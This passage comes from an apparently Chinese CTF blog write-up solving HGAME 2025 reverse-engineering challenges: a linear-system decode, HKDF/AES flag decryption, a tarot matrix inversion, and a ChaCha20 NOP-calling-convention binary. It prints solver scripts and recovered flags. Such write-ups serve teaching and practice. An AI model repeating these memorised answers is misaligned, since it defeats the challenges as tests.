35, 9, -57, -66, 3, -64, -33, 180, 238, 106], [1, 0, 0, 0, 0, -1, 0, 0, 0, 1, -1, 1, 1, -2, -1, -2, -1, 2, 2, -7, -11, -2, -13, -11, 45, 21, 138], [-1, 0, -1, 0, -3, 1, -2, -2, -1, -1, 7, -6, 4, 22, 8, -3, 10, 3, 2, -41, 9, -97, 87, -113, -75, 172, -72], [0, 0, 0, 0, 1, 0, 0, 1, -1, 1, 1, -1, 0, 3, -1, 2, -9, 24, 10, -40, -44, -1, -37, -38, 77, 232, -226], [0, 1, 0, 0, 2, 2, 0, 1, 1, 0, 3, -3, -1, 13, -2, 5, -10, 23, -1, -43, -20, -30, 13, -51, 13, 207, -149], [0, 1, 1, 0, 2, 1, 0, 1, 0, 7, 5, -2, -1, 11, 3, -6, 18, 16, 8, -43, 41, -141, 159, -169, -169, 216, -12], [1, 0, -1, 0, -1, 1, -1, -2, 0, -4, 1, 0, 0, 2, -2, 7, -14, 1, -2, 1, -29, 49, -69, 63, 106, -36, 57], [1, 0, 0, 0, 4, 0, 0, 2, 4, 1, 6, 3, -4, 13, 1, 5, 10, 19, 0, -45, 50, -138, 166, -142, -139, 192, 198], [0, 1, 1, 0, 0, 1, 0, 0, -2, 3, 1, -3, 1, 6, 1, -3, -1, 18, 8, -35, -23, -29, 4, -61, 28, 173, -70], [1, 1, 0, 0, 1, 2, 0, -1, 0, -3, 1, -1, 0, 8, -4, 12, -33, 31, -1, -45, -83, 63, -129, 47, 244, 159, 77]], &quot;vec_b&quot;: [31772, -16089, -5137, 19004, -11231, -30741, 1908, -13072, 12518, -15381, -28148, 26993, -37508, 20766, -10350, -4593, -2569, 33556, 17442, -11570, -9905, -5847, -5959, 13220, 23951, -670, 33570]}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Mat_a是个&lt;code&gt;27×27&lt;/code&gt;的矩阵&lt;/li&gt;
&lt;li&gt;vec_b是个&lt;code&gt;27维&lt;/code&gt;向量&lt;/li&gt;
&lt;li&gt;把数据丢给AI分析下：&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;701&quot; height=&quot;368&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-105.COByIS_u_ZEx2Th.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;再回去看伪代码：&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1339&quot; height=&quot;334&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-106.D0SzD0Lp_1UmNT5.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;应该如此，试一下求解&lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;b&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;Ax = b&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;import numpy as np

data = {
&quot;mat_a&quot;: [[1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 2, -1, 0, -2, 4, -12, 16, 2, -21, -29, 11, -37, 3, 104, 64, 192], [0, 1, 1, 0, 2, 1, 1, 1, -1, 3, -1, -1, -1, 0, -3, 0, -6, 18, 6, -23, -25, 3, -21, -25, 26, 156, -229], [0, -1, 0, 0, 0, -2, 0, 1, 2, 1, 0, 3, -1, -6, 3, -7, 30, -34, -7, 50, 99, -69, 147, -30, -241, -236, 188], [1, 1, 3, 1, 7, -1, 3, 4, 2, 10, -2, 6, -6, -8, -6, -1, 1, 35, 10, -34, 13, -65, 75, -98, -51, 197, 83], [0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 2, 0, -1, 4, 1, -1, 10, 0, 0, -7, 31, -56, 78, -58, -106, 53, -62], [-1, -1, 0, 0, -1, -1, 0, 1, 0, 0, 0, 0, 0, -3, 3, -6, 20, -21, -1, 29, 53, -35, 79, -23, -162, -90, -142], [0, 0, -1, 0, -1, 0, 0, -1, -1, -4, -2, 0, 1, -3, -2, 5, -16, 1, -1, 5, -48, 84, -116, 86, 148, -25, -72], [0, 1, 1, 0, -1, 1, 1, -1, -4, 0, -7, -2, 2, -13, -6, 0, -24, 5, 4, 14, -86, 151, -207, 132, 230, -30, -241], [0, 0, -2, 0, -1, 2, -1, -1, 0, -6, 4, -3, 1, 16, 0, 12, -26, 27, 0, -55, -75, 31, -94, 11, 192, 226, -94], [-1, -1, 0, 0, -2, -1, -1, 0, 0, 1, 2, -1, 1, 1, 6, -8, 24, -22, -1, 24, 63, -66, 112, -50, -180, -111, 37], [0, 0, 1, 0, 3, -1, 1, 3, 2, 5, 2, 2, -3, 1, 1, -6, 25, 2, 5, -10, 69, -119, 169, -134, -240, 124, -169], [0, 0, -2, -1, -3, 2, -2, -2, -1, -5, 3, -4, 3, 14, 2, 6, -24, 23, 4, -52, -86, 36, -114, 10, 234, 189, 62], [-2, 0, -1, 0, -5, 1, -2, -3, -4, -2, 3, -9, 6, 12, 8, -6, 8, -16, -1, 3, -4, -6, -1, -6, -39, -24, -244], [0, 0, -1, 0, -2, 1, -2, -1, 1, -3, 6, -2, 1, 15, 3, 7, -16, 26, 4, -56, -54, -13, -39, -39, 133, 221, 37], [0, 0, 0, 0, 0, 0, -1, 0, 2, 0, 5, -2, 1, 11, 4, -2, 21, -17, -9, 6, 73, -100, 151, -79, -212, -50, 68], [0, 0, 0, 0, 1, -1, 1, 0, 1, 1, -1, 2, -1, -4, 0, -2, 13, -17, -5, 29, 49, -23, 64, 2, -116, -135, 68], [0, 0, -1, -1, -5, 1, -2, -3, -2, -5, 0, -4, 5, 2, 3, -2, -2, -24, -6, 25, -17, 54, -70, 70, 66, -152, 40], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 0, 6, 1, 5, -19, 35, 9, -57, -66, 3, -64, -33, 180, 238, 106], [1, 0, 0, 0, 0, -1, 0, 0, 0, 1, -1, 1, 1, -2, -1, -2, -1, 2, 2, -7, -11, -2, -13, -11, 45, 21, 138], [-1, 0, -1, 0, -3, 1, -2, -2, -1, -1, 7, -6, 4, 22, 8, -3, 10, 3, 2, -41, 9, -97, 87, -113, -75, 172, -72], [0, 0, 0, 0, 1, 0, 0, 1, -1, 1, 1, -1, 0, 3, -1, 2, -9, 24, 10, -40, -44, -1, -37, -38, 77, 232, -226], [0, 1, 0, 0, 2, 2, 0, 1, 1, 0, 3, -3, -1, 13, -2, 5, -10, 23, -1, -43, -20, -30, 13, -51, 13, 207, -149], [0, 1, 1, 0, 2, 1, 0, 1, 0, 7, 5, -2, -1, 11, 3, -6, 18, 16, 8, -43, 41, -141, 159, -169, -169, 216, -12], [1, 0, -1, 0, -1, 1, -1, -2, 0, -4, 1, 0, 0, 2, -2, 7, -14, 1, -2, 1, -29, 49, -69, 63, 106, -36, 57], [1, 0, 0, 0, 4, 0, 0, 2, 4, 1, 6, 3, -4, 13, 1, 5, 10, 19, 0, -45, 50, -138, 166, -142, -139, 192, 198], [0, 1, 1, 0, 0, 1, 0, 0, -2, 3, 1, -3, 1, 6, 1, -3, -1, 18, 8, -35, -23, -29, 4, -61, 28, 173, -70], [1, 1, 0, 0, 1, 2, 0, -1, 0, -3, 1, -1, 0, 8, -4, 12, -33, 31, -1, -45, -83, 63, -129, 47, 244, 159, 77]], 
&quot;vec_b&quot;: [31772, -16089, -5137, 19004, -11231, -30741, 1908, -13072, 12518, -15381, -28148, 26993, -37508, 20766, -10350, -4593, -2569, 33556, 17442, -11570, -9905, -5847, -5959, 13220, 23951, -670, 33570]
}

A = np.array(data[&apos;mat_a&apos;])
b = np.array(data[&apos;vec_b&apos;])

# Solve the linear system using least squares method
x = np.linalg.lstsq(A, b, rcond=None)[0]

# Convert numerical solutions to Unicode characters
solution = &apos;&apos;.join([chr(int(round(num))) for num in x])

print(&quot;Decoded Message:&quot;, solution)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;321&quot; height=&quot;17&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-107.BjAeONly_zQQVC.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;已知：&lt;code&gt;ikm&lt;/code&gt;、&lt;code&gt;EncryptedFlag&lt;/code&gt;、&lt;code&gt;Keyinfo&lt;/code&gt;、其中&lt;code&gt;salt&lt;/code&gt;为零：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;ikm = &apos;CompressedEmbeddedResources&apos;
EncryptedFlag = &apos;@GFxmVucV6MVUXiWCMAnWpyvzXoLdHc5CmFeim+JjUBszB8HFX8Ku8NMc201AGZ9X&apos;
# base64编码，需要解码出Cipher
Keyinfo = &apos;HGAME2025&apos;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;解密流程：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;/*
Key_IV_Length = 32 或者 48 Bytes
Key_derived 结构为：Key + IV
*/
Key_derived = (ConmmonStr *)HKDF__DeriveKey((unsigned int)&amp;#x26;_Str_SHA256,(_DWORD)ikm,
Key_IV_Length,
0,
Keyinfo);
/*
AES有可能为128 或 256
可以都试一下
*/
Result = AESDecCBC((__int64)AES, (__int64)&amp;#x26;Cipher, &amp;#x26;IV, 2u);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;import base64
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.padding import PKCS7

# 给定参数
ikm = &apos;CompressedEmbeddedResources&apos;
EncryptedFlag = &apos;@GFxmVucV6MVUXiWCMAnWpyvzXoLdHc5CmFeim+JjUBszB8HFX8Ku8NMc201AGZ9X&apos;
Keyinfo = &apos;HGAME2025&apos;
ciphertext = base64.b64decode(EncryptedFlag)

def decrypt_with_params(key_length_type, derived_key, iv):
    try:
        # 选择AES算法
        if key_length_type == 128:
            algorithm = algorithms.AES(derived_key) # 传入16字节密钥自动识别为AES-128
        elif key_length_type == 256:
            algorithm = algorithms.AES(derived_key) # 传入32字节密钥自动识别为AES-256
        
        # 创建解密器
        cipher = Cipher(algorithm, modes.CBC(iv), backend=default_backend())
        decryptor = cipher.decryptor()
        
        # 执行解密并去除填充
        decrypted_padded = decryptor.update(ciphertext) + decryptor.finalize()
        unpadder = PKCS7(128).unpadder()
        decrypted = unpadder.update(decrypted_padded) + unpadder.finalize()
        
        return decrypted.decode(&apos;utf-8&apos;)
    
    except Exception as e:
        return f&quot;解密失败：{str(e)}&quot;

# 尝试两种可能性组合
def try_combinations():
    # 组合1：Key_IV_Length=32（AES-128）
    hkdf_32 = HKDF(
        algorithm=hashes.SHA256(),
        length=32,
        salt=b&apos;&apos;,
        info=Keyinfo.encode(),
    )
    key_iv_32 = hkdf_32.derive(ikm.encode())
    result_128 = decrypt_with_params(128, key_iv_32[:16], key_iv_32[16:32])

    # 组合2：Key_IV_Length=48（AES-256）
    hkdf_48 = HKDF(
        algorithm=hashes.SHA256(),
        length=48,
        salt=b&apos;&apos;,
        info=Keyinfo.encode(),
    )
    key_iv_48 = hkdf_48.derive(ikm.encode())
    result_256 = decrypt_with_params(256, key_iv_48[:32], key_iv_48[32:48])

    # 验证结果
    flag_prefix = &quot;hgame{&quot;
    valid_results = []
    for name, result in [(&quot;AES-128-CBC&quot;, result_128), (&quot;AES-256-CBC&quot;, result_256)]:
        if flag_prefix in result:
            valid_results.append(f&quot;[成功] 使用{name}解密\nFlag: {result}&quot;)
    
    return &quot;\n\n&quot;.join(valid_results) if valid_results else &quot;所有组合尝试均失败&quot;

# 执行解密
print(try_combinations())&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;370&quot; height=&quot;37&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-108.9uaZPIH3_ZFtMaa.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;ancient-recall&quot;&gt;&lt;strong&gt;Ancient Recall&lt;/strong&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;原矩阵：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;301&quot; height=&quot;184&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-109.B5IE7JYL_kQ7Nb.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;计算逆矩阵，左乘250次，求出的索引再处理下大阿卡那正逆向，得出原始索引：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;from fractions import Fraction

# 塔罗牌配置（与题设相同）
Major_Arcana = [&quot;The Fool&quot;, &quot;The Magician&quot;, &quot;The High Priestess&quot;,&quot;The Empress&quot;, &quot;The Emperor&quot;, &quot;The Hierophant&quot;,&quot;The Lovers&quot;, &quot;The Chariot&quot;, &quot;Strength&quot;,&quot;The Hermit&quot;, &quot;Wheel of Fortune&quot;, &quot;Justice&quot;,&quot;The Hanged Man&quot;, &quot;Death&quot;, &quot;Temperance&quot;,&quot;The Devil&quot;, &quot;The Tower&quot;, &quot;The Star&quot;,&quot;The Moon&quot;, &quot;The Sun&quot;, &quot;Judgement&quot;,&quot;The World&quot;]
wands = [&quot;Ace of Wands&quot;, &quot;Two of Wands&quot;, &quot;Three of Wands&quot;, &quot;Four of Wands&quot;, &quot;Five of Wands&quot;, &quot;Six of Wands&quot;, &quot;Seven of Wands&quot;, &quot;Eight of Wands&quot;, &quot;Nine of Wands&quot;, &quot;Ten of Wands&quot;, &quot;Page of Wands&quot;, &quot;Knight of Wands&quot;, &quot;Queen of Wands&quot;, &quot;King of Wands&quot;]
cups = [&quot;Ace of Cups&quot;, &quot;Two of Cups&quot;, &quot;Three of Cups&quot;, &quot;Four of Cups&quot;, &quot;Five of Cups&quot;, &quot;Six of Cups&quot;, &quot;Seven of Cups&quot;, &quot;Eight of Cups&quot;, &quot;Nine of Cups&quot;, &quot;Ten of Cups&quot;, &quot;Page of Cups&quot;, &quot;Knight of Cups&quot;, &quot;Queen of Cups&quot;, &quot;King of Cups&quot;]
swords = [&quot;Ace of Swords&quot;, &quot;Two of Swords&quot;, &quot;Three of Swords&quot;, &quot;Four of Swords&quot;, &quot;Five of Swords&quot;, &quot;Six of Swords&quot;, &quot;Seven of Swords&quot;, &quot;Eight of Swords&quot;, &quot;Nine of Swords&quot;, &quot;Ten of Swords&quot;, &quot;Page of Swords&quot;, &quot;Knight of Swords&quot;, &quot;Queen of Swords&quot;, &quot;King of Swords&quot;]
pentacles = [&quot;Ace of Pentacles&quot;, &quot;Two of Pentacles&quot;, &quot;Three of Pentacles&quot;, &quot;Four of Pentacles&quot;, &quot;Five of Pentacles&quot;, &quot;Six of Pentacles&quot;, &quot;Seven of Pentacles&quot;, &quot;Eight of Pentacles&quot;, &quot;Nine of Pentacles&quot;, &quot;Ten of Pentacles&quot;, &quot;Page of Pentacles&quot;, &quot;Knight of Pentacles&quot;, &quot;Queen of Pentacles&quot;, &quot;King of Pentacles&quot;]
Minor_Arcana = wands + cups + swords + pentacles
tarot = Major_Arcana + Minor_Arcana

# 原变换矩阵的逆矩阵（使用分数精确表示）
M_inv = [
    [Fraction(1,2), Fraction(-1,2), Fraction(1,2), Fraction(-1,2), Fraction(1,2)],
    [Fraction(1,2), Fraction(1,2), Fraction(-1,2), Fraction(1,2), Fraction(-1,2)],
    [Fraction(-1,2), Fraction(1,2), Fraction(1,2), Fraction(-1,2), Fraction(1,2)],
    [Fraction(1,2), Fraction(-1,2), Fraction(1,2), Fraction(1,2), Fraction(-1,2)],
    [Fraction(-1,2), Fraction(1,2), Fraction(-1,2), Fraction(1,2), Fraction(1,2)]
]

# 加密后的最终数值
final_values = [
    2532951952066291774890498369114195917240794704918210520571067085311474675019,
    2532951952066291774890327666074100357898023013105443178881294700381509795270,
    2532951952066291774890554459287276604903130315859258544173068376967072335730,
    2532951952066291774890865328241532885391510162611534514014409174284299139015,
    2532951952066291774890830662608134156017946376309989934175833913921142609334
]

# 转换数值类型为分数并应用逆变换
current = [Fraction(v) for v in final_values]
for _ in range(250):
    current = [
        sum(M_inv[i][j] * current[j] for j in range(5))
        for i in range(5)
    ]

# 转换回整数并处理牌面
original_values = [int(x) for x in current]
flag_parts = []

for vi in original_values:
    # 处理大阿卡那正逆向
    reversed_idx = vi ^ (-1)
    if 0 &amp;#x3C;= reversed_idx &amp;#x3C; len(Major_Arcana):
        flag_parts.append(f&quot;re-{Major_Arcana[reversed_idx]}&quot;)
    elif 0 &amp;#x3C;= vi &amp;#x3C; len(Major_Arcana):
        flag_parts.append(Major_Arcana[vi])
    else:
        idx = vi % len(tarot)
        flag_parts.append(tarot[idx])

flag = &quot;hgame{&quot; + &quot;&amp;#x26;&quot;.join(flag_parts).replace(&quot; &quot;, &quot;_&quot;) + &quot;}&quot;
print(flag)
hgame{re-The_Moon&amp;#x26;re-The_Sun&amp;#x26;Judgement&amp;#x26;re-Temperance&amp;#x26;Six_of_Cups}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;nopd&quot;&gt;&lt;strong&gt;Nop’d&lt;/strong&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;模拟了一个半主机(SemiHosting)系统：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Host System：&lt;code&gt;launcher&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Target System：&lt;code&gt;game&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;奇特的&lt;strong&gt;&lt;strong&gt;NOP&lt;/strong&gt;&lt;/strong&gt;调用约定：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;game&lt;/code&gt;内部采用包裹在&lt;code&gt;syscall&lt;/code&gt;周围的多字节的NOP指令传参&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SIB.Scale == 0（&lt;code&gt;rax&lt;/code&gt;无缩放）：&lt;code&gt;REX.B + SIB.Base&lt;/code&gt; 获取基址寄存器编号，按照&lt;code&gt;launcher&lt;/code&gt;内的&lt;code&gt;switch&lt;/code&gt;表查表取值，这里表是正常的，直接看就行&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SIB.Scale &gt; 0（&lt;code&gt;rax&lt;/code&gt;有缩放）：那么就按照&lt;code&gt;rsp + 8 * SIB.Base&lt;/code&gt;从栈上传参&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后一个字节为：参数编号，从1开始，编号1的参数是&lt;code&gt;Call_Number&lt;/code&gt;, 也就是调用&lt;code&gt;Host System&lt;/code&gt;的函数索引&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;例如：&lt;code&gt;48 0F 1F 44 41 03 nop qword ptr [rcx+rax*2+3]&lt;/code&gt; 其中变址寄存器&lt;code&gt;rax&lt;/code&gt;乘了2，即有&lt;code&gt;rax&lt;/code&gt;缩放，&lt;code&gt;lacuncher&lt;/code&gt;读取&lt;code&gt;game&lt;/code&gt;的栈上数据作为参数，参数编号为3&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;例如：&lt;code&gt;49 0F 1F 44 01 02 nop qword ptr [r9+rax+2]&lt;/code&gt; 其中变址寄存器&lt;code&gt;rax&lt;/code&gt;没乘，即没有&lt;code&gt;rax&lt;/code&gt;缩放，&lt;code&gt;lacuncher&lt;/code&gt;读取&lt;code&gt;game&lt;/code&gt;的&lt;code&gt;r9&lt;/code&gt;数据作为参数，参数编号为2
&lt;img alt=&quot;img&quot; width=&quot;1305&quot; height=&quot;641&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-110.O5MhxPfP_vkplP.webp&quot;&gt;&lt;img alt=&quot;img&quot; width=&quot;623&quot; height=&quot;139&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-111.D6KKHyIq_Zf4fqh.webp&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;**&lt;code&gt;launcher&lt;/code&gt;**&lt;strong&gt;中的检验逻辑：&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;  if ( (byte[0] &amp;#x26; 0xFC) != 0x48   // REX字节
      || byte[1] != 0x0F          // NOP 操作码部分
      || byte[2] != 0x1F          // NOP 操作码部分
      || (byte[3] &amp;#x26; 0xC7) != 0x44 // ModR/M
        //byte[4]                 // SIB 字节 
      || byte[5] != 0x7F) {      // 偏移量检查
      // 非目标指令，跳过处理
  }&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;**&lt;code&gt;launcher&lt;/code&gt;**&lt;strong&gt;提供的服务（接口函数）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;  0. Sub_0_return_0
  1. UsrInput_fgets_1
  2. What_s_your_name_?_puts_2
  3. Sub_ChaChaQR_20_return_0_3
  4. Shuffle_4
  5. state_init_5
  6. Addstate_6
  7. Check_7
  8. return_A_number_8
  9. reutrn_0_set_rcx_9&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;**&lt;code&gt;Chacha20&lt;/code&gt;**&lt;strong&gt;需要：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;0x61707865, 0x3320646e, 0x79622d32, 0x6b206574&lt;/code&gt;(16Bytes)(ASCII “expand 32-byte k”)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Key&lt;/code&gt;(32 Bytes)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Counter&lt;/code&gt;(4 Bytes)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Nounce&lt;/code&gt;(12 Bytes) 常数&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;奇妙的20层：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;img&quot; width=&quot;627&quot; height=&quot;41&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-112.bvorXq4l_18n7Dh.webp&quot;&gt;&lt;img alt=&quot;img&quot; width=&quot;827&quot; height=&quot;41&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-113.BofkAawL_14l0hy.webp&quot;&gt;&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;735&quot; height=&quot;73&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-114.CXnvV6q8_Z22XUd7.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;完整轮次（Double Round）&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ChaCha20 共执行 &lt;strong&gt;20 轮（10 次双轮）&lt;/strong&gt; 操作，每双轮包含：&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;列轮（Column Round）&lt;/strong&gt;：对矩阵的 &lt;strong&gt;4 列&lt;/strong&gt; 应用 QR。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;行轮（Diagonal Round）&lt;/strong&gt;：对矩阵的 &lt;strong&gt;4 条对角线&lt;/strong&gt; 应用 QR。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;img&quot; width=&quot;590&quot; height=&quot;55&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-115.BqKvQw8x_rMwGP.webp&quot;&gt;
&lt;img alt=&quot;img&quot; width=&quot;914&quot; height=&quot;63&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-116.CEC5clJq_1It0S5.webp&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;列轮&lt;/strong&gt;：对每列（&lt;code&gt;0,4,8,12&lt;/code&gt;、&lt;code&gt;1,5,9,13&lt;/code&gt; 等）应用 QR。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;行轮&lt;/strong&gt;：对对角线（&lt;code&gt;0,5,10,15&lt;/code&gt;、&lt;code&gt;1,6,11,12&lt;/code&gt; 等）应用 QR。&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;744&quot; height=&quot;45&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-117.Bxxqbnoz_l87Fh.webp&quot;&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在”trust NOTHING but your OWN EYES.”之后便是是校验逻辑：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;606&quot; height=&quot;611&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-118.BM0fyhPA_Z1KzwUu.webp&quot;&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: Launcher的&lt;code&gt;main&lt;/code&gt;函数没有什么问题，通过动调发现进入了一个满是&lt;code&gt;ptrace&lt;/code&gt;的函数，就是&lt;code&gt;Host System&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;或者看&lt;code&gt;init_array&lt;/code&gt;段内有一个&lt;code&gt;atexit&lt;/code&gt;函数注册了&lt;code&gt;exit&lt;/code&gt;执行后的操作：
&lt;img alt=&quot;img&quot; width=&quot;1189&quot; height=&quot;213&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-119.xJ8Ntv6F_1oI5tx.webp&quot;&gt;
&lt;img alt=&quot;img&quot; width=&quot;625&quot; height=&quot;313&quot; src=&quot;https://sh10rl.top/_astro/1753535091921-120.Cpk2kHmK_Z1B12Ae.webp&quot;&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;Key[32] = &quot;It&apos;s all written in the Book of HGAME...\n&quot;
Nounce[12] = &quot;What&apos;s your name?&gt; &quot;
unsigned char RAND_POOL[51] =
{
  0x64, 0x6A, 0x50, 0x17, 0x81, 0x7D, 0x6F, 0x1A, 0x87, 0xB1, 
  0xA4, 0x00, 0x09, 0x03, 0xF8, 0x8D, 0xF8, 0x6B, 0xDF, 0x32, 
  0x5F, 0x40, 0x90, 0x9C, 0xB8, 0x3D, 0x86, 0x13, 0x26, 0xB7, 
  0x63, 0xF7, 0x74, 0xE8, 0x53, 0xED, 0x58, 0x20, 0x4F, 0xD9, 
  0x99, 0x26, 0x21, 0x37, 0xDE, 0x35, 0x76, 0xC8, 0xBC, 0xD0, 
  0x6E
};&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ebp初始值 = 0x46&lt;/p&gt;
&lt;p&gt;程序流程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ChaCha20没有魔改：
&lt;ul&gt;
&lt;li&gt;使用Key[32]、Nounce[12]、初始化矩阵&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;用得到的密钥流块（&lt;code&gt;state&lt;/code&gt;）,进行：&lt;code&gt;(RAND_POOL[i] ^ ebp) ^ state_0[i]&lt;/code&gt;：
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;  loop_start:
      lea     rcx, _end
      lea     rax, [rcx-40h]        ; Input buffer start
      
      movzx   edx, byte ptr [rax]   ; Load byte
      xor     dl, [r12]             ; XOR with key byte
      xor     ebp, edx              ; Additional XOR
      mov     [rax], bpl            ; Store modified byte
      add     rax, 1                ; Move buffer pointer
      add     r12, 1                ; Move key pointer
      cmp     rax, rcx              ; Check end of buffer
      jnz     short loop_start&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;最后和对比&lt;code&gt;RAND_POOL&lt;/code&gt;，判断对错&lt;/li&gt;
&lt;li&gt;编写解密脚本解密正确&lt;code&gt;flag&lt;/code&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;## 解密脚本
from Crypto.Cipher import ChaCha20

# 定义密钥、计数器和Nonce
key = bytes([0x49, 0x74, 0x27, 0x73, 0x20, 0x61, 0x6C, 0x6C, 0x20, 0x77, 
             0x72, 0x69, 0x74, 0x74, 0x65, 0x6E, 0x20, 0x69, 0x6E, 0x20, 
